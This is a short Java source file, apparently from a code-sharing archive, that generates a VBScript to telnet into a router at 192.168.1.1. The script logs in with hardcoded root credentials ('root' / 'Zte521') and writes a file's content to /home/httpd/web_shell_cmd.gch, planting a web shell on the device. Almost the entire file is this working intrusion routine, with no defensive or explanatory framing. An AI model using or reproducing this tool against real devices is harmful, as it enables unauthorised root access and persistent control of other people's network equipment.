www.pudn.com > TestToolsProject.rar > CreateWeb_Shell_Cmd.java, change:2014-01-21,size:1124b


package com.mervyn.testsource; 
 
import java.io.File; 
import java.io.FileInputStream; 
 
public class CreateWeb_Shell_Cmd { 
 
	public String CreateWebShellCmd() 
	{ 
		String WebShellCmdStr=""; 
		File file = new File("com\\mervyn\\testsource\\F601.txt"); 
		Long fileLengthLong = file.length(); 
		byte[] fileContent = new byte[fileLengthLong.intValue()]; 
		try { 
			FileInputStream inputStream = new FileInputStream(file); 
			inputStream.read(fileContent); 
			inputStream.close(); 
		} catch (Exception e) { 
			System.out.println(e.toString()); 
		} 
		WebShellCmdStr= "set lj=wscript.createobject(\"wscript.shell\") \r\n" 
			+ "lj.run \"telnet 192.168.1.1\" \r\n" 
			+ "wscript.sleep 500 \r\n" 
			+ "lj.sendkeys \"root\" \r\n" 
			+ "lj.sendkeys \"{enter}\" \r\n" 
			+ "lj.sendkeys \"Zte521\" \r\n" 
			+ "lj.sendkeys \"{enter}\" \r\n" 
			+ "lj.sendkeys \"root\" \r\n" 
			+ "lj.sendkeys \"{enter}\" \r\n" 
			+ "wscript.sleep 100 \r\n" 
			+ "lj.sendkeys \"echo '"+new String(fileContent)+"'>/home/httpd/web_shell_cmd.gch  \r\n"; 
		System.out.println(WebShellCmdStr); 
		 
		return WebShellCmdStr; 
	} 
}